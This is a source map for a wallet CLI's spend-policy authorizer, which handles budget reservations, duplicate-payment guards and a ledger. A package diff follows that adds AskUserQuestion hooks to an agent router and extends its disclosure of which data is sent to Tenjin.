{"version":3,"sources":["../src/lib/wallet/spend.ts"],"sourcesContent":["import { mkdir } from 'node:fs/promises';\nimport { randomUUID } from 'node:crypto';\nimport { writeFileAtomic } from '../atomic-json';\nimport { withFileLock } from '../lock';\nimport { spendLedgerPath } from '../paths';\nimport {\n DEFAULT_WINDOW_MS,\n emptyLedger,\n readLedger,\n RESERVATION_TTL_MS,\n spentOf,\n type Ledger,\n type Reservation,\n} from '../spend-ledger';\nimport {\n evaluateSpendPolicy,\n type PolicyReason,\n type SpendDecision,\n type SpendPolicy,\n type PaymentMode,\n} from '../policy';\nimport type { PolicyEnforcement } from './provider';\n\n/**\n * The spend-policy enforcement seam, deliberately in the WALLET PROVIDER layer,\n * BEFORE any signing/payment path, so a future hosted provider (Privy, B5)\n * inherits it: policy moves provider-side by swapping this local authorizer for\n * one the hosted signer enforces. The local authorizer is `client-only` (any\n * process that runs the CLI can edit config or the ledger), and it says so.\n *\n * sessionBudget is enforced ATOMICALLY across the per-command CLI processes an\n * agent spawns: `authorize` takes the file lock and, when a spend may proceed,\n * writes a pending RESERVATION that counts against the budget immediately. Two\n * concurrent authorizations therefore each see the other's reservation and the\n * second is denied, closing the check-then-pay TOCTOU. `commit` finalizes a\n * reservation into committed spend after settlement; `release` drops an unused\n * one (a decline or a failed payment). A reservation left dangling (a crash\n * between authorize and commit) self-expires after RESERVATION_TTL_MS.\n */\n\nexport interface SpendRequest {\n mode?: PaymentMode;\n amountAtomic: bigint;\n creator: string;\n /** The caller's `--max-price` cap, if any. */\n maxPriceAtomic?: bigint;\n /**\n * THE SAME-TURN DUPLICATE GUARD. An opaque identity for the request being\n * paid for (its destination and its exact arguments), recorded on the\n * reservation. A second authorization carrying a key an unexpired reservation\n * already holds is DENIED rather than reserved, so one in-flight payment can\n * never become two because a caller retried, a harness re-fired, or a second\n * process asked for the same thing. Same lock and same file as the budget, so\n * the check is atomic across the per-command processes an agent spawns; the\n * reservation TTL is what bounds \"same turn\". Omit it and nothing changes.\n */\n requestKey?: string;\n}\n\nexport interface SpendAuthorization {\n decision: SpendDecision;\n reason: PolicyReason;\n message: string;\n amountAtomic: bigint;\n sessionSpentAtomic: bigint;\n sessionBudgetAtomic: bigint | null;\n policyEnforcement: PolicyEnforcement;\n /** The pending reservation to commit (on settlement) or release (on abort).\n * Present when the spend may proceed, including an unlimited budget. */\n reservationId?: string;\n}\n\nexport interface SpendAuthorizer {\n policyEnforcement: PolicyEnforcement;\n /** Evaluate a spend against policy + the rolling session ledger, atomically\n * reserving budget when the spend may proceed. */\n authorize(req: SpendRequest): Promise<SpendAuthorization>;\n /**\n * Finalize a reservation into committed spend after settlement. Runs only\n * post-settlement, so `amountAtomic` is authoritative: if the reservation\n * TTL-expired mid-confirm (a human can out-wait RESERVATION_TTL_MS at the\n * prompt), the settled amount is still recorded rather than silently lost\n * from the rolling budget.\n */\n commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n /** What the counterparty reported actually taking, when it said so at all.\n * Omitted means \"assume it took what was authorized\", the conservative\n * reading every caller had before the router began waiving fees. */\n opts?: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string },\n ): Promise<void>;\n /** Drop an unused reservation (a decline, a 409, or a failed payment). */\n release(reservationId: string | undefined): Promise<void>;\n}\n\nexport interface LocalSpendAuthorizerDeps {\n dir: string;\n policy: SpendPolicy;\n /** Rolling window length (ms); default 24h. Injectable for tests. */\n windowMs?: number;\n /** Clock seam for deterministic window tests. */\n now?: () => number;\n /**\n * Called at most ONCE per authorizer when the ledger file exists but cannot be\n * read back. The reset below is fail-open by design, and a silent one hands back\n * budget the operator believes is already spent — so the caller gets to say so.\n */\n onCorrupt?: (reason: string) => void;\n}\n\nexport function createLocalSpendAuthorizer(deps: LocalSpendAuthorizerDeps): SpendAuthorizer {\n const windowMs = deps.windowMs ?? DEFAULT_WINDOW_MS;\n const now = deps.now ?? Date.now;\n const path = spendLedgerPath(deps.dir);\n const lockPath = `${path}.lock`;\n // One notice per authorizer: authorize and commit each read the file, and the\n // reset is not persisted until something is written, so an unlatched warning\n // would fire twice for the same broken file within one command.\n let warnedCorrupt = false;\n\n // Roll the window and drop expired reservations; returns the live ledger.\n const freshen = (ledger: Ledger | null, nowMs: number): Ledger => {\n if (ledger === null || nowMs - ledger.windowStartMs >= windowMs) return emptyLedger(nowMs);\n return {\n ...ledger,\n reservations: ledger.reservations.filter((r) => nowMs - r.atMs < RESERVATION_TTL_MS),\n };\n };\n\n const persist = async (ledger: Ledger): Promise<void> => {\n await writeFileAtomic(path, `${JSON.stringify(ledger, null, 2)}\\n`, {\n mode: 0o600,\n dirMode: 0o700,\n });\n };\n\n async function withLedger<T>(fn: (ledger: Ledger, nowMs: number) => Promise<T> | T): Promise<T> {\n await mkdir(deps.dir, { recursive: true, mode: 0o700 });\n return withFileLock(lockPath, async () => {\n const nowMs = now();\n const read = await readLedger(path);\n if (read.corrupt !== undefined && !warnedCorrupt) {\n warnedCorrupt = true;\n deps.onCorrupt?.(read.corrupt);\n }\n const ledger = freshen(read.ledger, nowMs);\n return fn(ledger, nowMs);\n });\n }\n\n return {\n policyEnforcement: 'client-only',\n async authorize(req: SpendRequest): Promise<SpendAuthorization> {\n return withLedger(async (ledger) => {\n const sessionSpentAtomic = spentOf(ledger);\n if (\n req.requestKey !== undefined &&\n ledger.reservations.some((r) => r.requestKey === req.requestKey)\n ) {\n return {\n decision: 'deny',\n reason: 'duplicate_in_flight',\n message:\n 'An identical request already holds a reservation in this turn. No second payment was made.',\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n }\n const evaluation = evaluateSpendPolicy(deps.policy, {\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic,\n creator: req.creator,\n ...(req.maxPriceAtomic !== undefined ? { maxPriceAtomic: req.maxPriceAtomic } : {}),\n sessionSpentAtomic,\n });\n const base: SpendAuthorization = {\n ...evaluation,\n amountAtomic: req.amountAtomic,\n sessionSpentAtomic,\n sessionBudgetAtomic: deps.policy.sessionBudgetAtomic,\n policyEnforcement: 'client-only',\n };\n // Unlimited budgets still reserve to prevent identical in-flight requests.\n if (evaluation.decision === 'deny') {\n return base;\n }\n const reservation: Reservation = {\n id: randomUUID(),\n mode: req.mode ?? 'automatic',\n amountAtomic: req.amountAtomic.toString(),\n atMs: now(),\n ...(req.requestKey !== undefined ? { requestKey: req.requestKey } : {}),\n };\n await persist({ ...ledger, reservations: [...ledger.reservations, reservation] });\n return { ...base, reservationId: reservation.id };\n });\n },\n async commit(\n reservationId: string | undefined,\n amountAtomic: bigint,\n opts: { settledAtomic?: bigint; mode?: PaymentMode; nonce?: string } = {},\n ): Promise<void> {\n // Record transmitted exposure even if its reservation has expired.\n await withLedger(async (ledger) => {\n const reservation =\n reservationId !== undefined\n ? ledger.reservations.find((r) => r.id === reservationId)\n : undefined;\n const exposure =\n reservation !== undefined ? BigInt(reservation.amountAtomic) : amountAtomic;\n // TWO NUMBERS, ON PURPOSE. The budget keeps counting what left; the\n // settled total records what was taken, and they differ whenever a\n // counterparty waives a fee against an authorization already sent.\n const settled = opts.settledAtomic ?? exposure;\n const settledSoFar = BigInt(ledger.settledAtomic ?? ledger.committedAtomic);\n const mode = reservation ? (reservation.mode ?? 'automatic') : (opts.mode ?? 'automatic');\n await persist({\n ...ledger,\n committedAtomic: (BigInt(ledger.committedAtomic) + exposure).toString(),\n automaticCommittedAtomic: (\n BigInt(ledger.automaticCommittedAtomic ?? ledger.committedAtomic) +\n (mode === 'manual' ? 0n : exposure)\n ).toString(),\n settledAtomic: (settledSoFar + settled).toString(),\n reservations:\n reservationId !== undefined\n ? ledger.reservations.filter((r) => r.id !== reservationId)\n : ledger.reservations,\n // Keyed by the authorization's nonce, so a reconcile that proves it\n // was never charged can release this amount and nothing else.\n ...(opts.nonce !== undefined\n ? {\n exposures: [\n ...(ledger.exposures ?? []),\n {\n nonce: opts.nonce.toLowerCase(),\n amountAtomic: exposure.toString(),\n atMs: now(),\n mode,\n },\n ],\n }\n : {}),\n });\n });\n },\n async release(reservationId: string | undefined): Promise<void> {\n if (reservationId === undefined) return;\n await withLedger(async (ledger) => {\n if (!ledger.reservations.some((r) => r.id === reservationId)) return;\n await persist({\n ...ledger,\n reservations: ledger.reservations.filter((r) => r.id !== reservationId),\n });\n });\n },\n };\n}\n\n/**\n * GIVE BACK A PAYMENT THE CHAIN PROVED WAS NEVER CHARGED: its authorization\n * expired unused. Exactly the exposure recorded under that nonce comes off the\n * committed totals, once; a nonce from an earlier window, from a ledger an\n * older build wrote, or one already released finds nothing and changes\n * nothing. Returns the amount released, or null when the ledger could not be\n * updated, so the caller keeps the payment open and asks again.\n */\nexport async function releaseUnchargedExposure(\n dir: string,\n nonce: string,\n opts: { now?: () => number; windowMs?: number } = {},\n): Promise<bigint | null> {\n const path = spendLedgerPath(dir);\n const nowMs = (opts.now ?? Date.now)();\n try {\n return await withFileLock(`${path}.lock`, async () => {\n const { ledger } = await readLedger(path);\n if (ledger === null || nowMs - ledger.windowStartMs >= (opts.windowMs ?? DEFAULT_WINDOW_MS)) {\n return 0n;\n }\n const key = nonce.toLowerCase();\n const entry = (ledger.exposures ?? []).find((e) => e.nonce === key);\n if (entry === undefined) return 0n;\n const amount = BigInt(entry.amountAtomic);\n const less = (value: string | undefined, fallback: string): string => {\n const current = BigInt(value ?? fallback);\n return (current > amount ? current - amount : 0n).toString();\n };\n await writeFileAtomic(\n path,\n `${JSON.stringify(\n {\n ...ledger,\n committedAtomic: less(ledger.committedAtomic, '0'),\n ...(entry.mode === 'manual'\n ? {}\n : {\n automaticCommittedAtomic: less(\n ledger.automaticCommittedAtomic,\n ledger.committedAtomic,\n ),\n }),\n settledAtomic: less(ledger.settledAtomic, ledger.committedAtomic),\n exposures: (ledger.exposures ?? []).filter((e) => e.nonce !== key),\n },\n null,\n 2,\n )}\\n`,\n { mode: 0o600, dirMode: 0o700 },\n );\n return amount;\n });\n } catch {\n return null;\n }\n}\n\nexport { readSpendSummary, type SpendSummary } from '../spend-ledger';\n"],"mappings":";;;;;;;;;;;;;;;;;;;;AAAA,SAAS,aAAa;AACtB,SAAS,kBAAkB;AA8GpB,SAAS,2BAA2B,MAAiD;AAC1F,QAAM,WAAW,KAAK,YAAY;AAClC,QAAM,MAAM,KAAK,OAAO,KAAK;AAC7B,QAAM,OAAO,gBAAgB,KAAK,GAAG;AACrC,QAAM,WAAW,GAAG,IAAI;AAIxB,MAAI,gBAAgB;AAGpB,QAAM,UAAU,CAAC,QAAuB,UAA0B;AAChE,QAAI,WAAW,QAAQ,QAAQ,OAAO,iBAAiB,SAAU,QAAO,YAAY,KAAK;AACzF,WAAO;AAAA,MACL,GAAG;AAAA,MACH,cAAc,OAAO,aAAa,OAAO,CAAC,MAAM,QAAQ,EAAE,OAAO,kBAAkB;AAAA,IACrF;AAAA,EACF;AAEA,QAAM,UAAU,OAAO,WAAkC;AACvD,UAAM,gBAAgB,MAAM,GAAG,KAAK,UAAU,QAAQ,MAAM,CAAC,CAAC;AAAA,GAAM;AAAA,MAClE,MAAM;AAAA,MACN,SAAS;AAAA,IACX,CAAC;AAAA,EACH;AAEA,iBAAe,WAAc,IAAmE;AAC9F,UAAM,MAAM,KAAK,KAAK,EAAE,WAAW,MAAM,MAAM,IAAM,CAAC;AACtD,WAAO,aAAa,UAAU,YAAY;AACxC,YAAM,QAAQ,IAAI;AAClB,YAAM,OAAO,MAAM,WAAW,IAAI;AAClC,UAAI,KAAK,YAAY,UA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AAAA,UACA;AAAA,QACF,CAAC;AAAA;AAAA,QACD,EAAE,MAAM,KAAO,SAAS,IAAM;AAAA,MAChC;AACA,aAAO;AAAA,IACT,CAAC;AAAA,EACH,QAAQ;AACN,WAAO;AAAA,EACT;AACF;","names":[]}
|
|
@@ -5,7 +5,7 @@ import {
|
|
|
5
5
|
} from "./chunk-TGLKKLQG.js";
|
|
6
6
|
import {
|
|
7
7
|
paint
|
|
8
|
-
} from "./chunk-
|
|
8
|
+
} from "./chunk-QRFONFRW.js";
|
|
9
9
|
import {
|
|
10
10
|
RETIRED_SKILL_NAMES,
|
|
11
11
|
onPath,
|
|
@@ -13,22 +13,22 @@ import {
|
|
|
13
13
|
readSkillFile,
|
|
14
14
|
skillFrontmatterName,
|
|
15
15
|
skillsDirsFor
|
|
16
|
-
} from "./chunk-
|
|
16
|
+
} from "./chunk-OTPEH3AH.js";
|
|
17
17
|
import {
|
|
18
18
|
hasCode
|
|
19
19
|
} from "./chunk-2I4QTOLB.js";
|
|
20
20
|
import {
|
|
21
21
|
resolveContextSettings
|
|
22
|
-
} from "./chunk-
|
|
22
|
+
} from "./chunk-IOB7URFH.js";
|
|
23
23
|
import {
|
|
24
24
|
toMoney
|
|
25
25
|
} from "./chunk-O2JYBOUO.js";
|
|
26
26
|
import {
|
|
27
27
|
loadRawConfig
|
|
28
|
-
} from "./chunk-
|
|
28
|
+
} from "./chunk-W3LVZ2EN.js";
|
|
29
29
|
import {
|
|
30
30
|
ensureStatusLine
|
|
31
|
-
} from "./chunk-
|
|
31
|
+
} from "./chunk-JN7TMXVF.js";
|
|
32
32
|
import {
|
|
33
33
|
appendAllowlistRules,
|
|
34
34
|
claudeAdapter,
|
|
@@ -36,7 +36,7 @@ import {
|
|
|
36
36
|
inspectHooksFile,
|
|
37
37
|
ownsHookEntry,
|
|
38
38
|
writeHooks
|
|
39
|
-
} from "./chunk-
|
|
39
|
+
} from "./chunk-IOIHYOU4.js";
|
|
40
40
|
import {
|
|
41
41
|
CliError
|
|
42
42
|
} from "./chunk-JLEF5WHM.js";
|
|
@@ -111,6 +111,7 @@ function routerSettingsPath(opts = {}) {
|
|
|
111
111
|
}
|
|
112
112
|
var DELEGATION_MATCHER = "Agent|Task";
|
|
113
113
|
var NATIVE_MATCHER = "WebSearch|WebFetch";
|
|
114
|
+
var ASK_MATCHER = "AskUserQuestion";
|
|
114
115
|
function routerHookPlan() {
|
|
115
116
|
const handler = (command, timeout = HOOK_TIMEOUT_SECONDS) => [
|
|
116
117
|
{ type: "command", command, timeout }
|
|
@@ -121,11 +122,13 @@ function routerHookPlan() {
|
|
|
121
122
|
{ event: "PreToolUse", matcher: NATIVE_MATCHER, hooks: handler("tenjin hook native") },
|
|
122
123
|
{ event: "PreToolUse", matcher: DELEGATION_MATCHER, hooks: handler("tenjin hook agent") },
|
|
123
124
|
{ event: "PostToolUse", matcher: NATIVE_MATCHER, hooks: afterCall() },
|
|
124
|
-
{ event: "PostToolUseFailure", matcher: NATIVE_MATCHER, hooks: afterCall() }
|
|
125
|
+
{ event: "PostToolUseFailure", matcher: NATIVE_MATCHER, hooks: afterCall() },
|
|
126
|
+
{ event: "PreToolUse", matcher: ASK_MATCHER, hooks: handler("tenjin hook ask") },
|
|
127
|
+
{ event: "PostToolUse", matcher: ASK_MATCHER, hooks: handler("tenjin hook answer") }
|
|
125
128
|
];
|
|
126
129
|
}
|
|
127
130
|
var DISCLOSURE = [
|
|
128
|
-
"What leaves this machine: the bounded text of each prompt, each native search query or URL (and, when one came back short, its status, size or error),
|
|
131
|
+
"What leaves this machine: the bounded text of each prompt, each native search query or URL (and, when one came back short, its status, size or error), each task handed to a subagent, and each question your assistant asks you with your answers, sent to Tenjin for the free routing gate, beside this session's id. When the gate offers free library docs for a search, that search query also goes to Tenjin's docs lookup, which asks Context7.",
|
|
129
132
|
"What is kept when a lookup is paid: the capability chosen, a hash of the contract, a hash of the arguments, and your wallet address. No prompt text, no arguments, no hint text.",
|
|
130
133
|
"What never leaves: your private key. It is decrypted in this CLI to sign, and never sent anywhere."
|
|
131
134
|
];
|
|
@@ -221,7 +224,7 @@ async function runRouterInstall(args, ctx, deps = {}) {
|
|
|
221
224
|
]
|
|
222
225
|
};
|
|
223
226
|
}
|
|
224
|
-
const { resolveWallet } = await import("./install-wallet-
|
|
227
|
+
const { resolveWallet } = await import("./install-wallet-BWJO2SUC.js");
|
|
225
228
|
const wallet = await resolveWallet(ctx, deps, args.noWallet === true ? "flag" : void 0, false);
|
|
226
229
|
const effective = await resolveContextSettings(ctx);
|
|
227
230
|
const data = {
|
|
@@ -437,6 +440,7 @@ export {
|
|
|
437
440
|
routerSettingsPath,
|
|
438
441
|
DELEGATION_MATCHER,
|
|
439
442
|
NATIVE_MATCHER,
|
|
443
|
+
ASK_MATCHER,
|
|
440
444
|
routerHookPlan,
|
|
441
445
|
DISCLOSURE,
|
|
442
446
|
runRouterInstall,
|
|
@@ -444,4 +448,4 @@ export {
|
|
|
444
448
|
readMcpEntry,
|
|
445
449
|
statusLineProblems
|
|
446
450
|
};
|
|
447
|
-
//# sourceMappingURL=chunk-
|
|
451
|
+
//# sourceMappingURL=chunk-OSUD6YZZ.js.map
|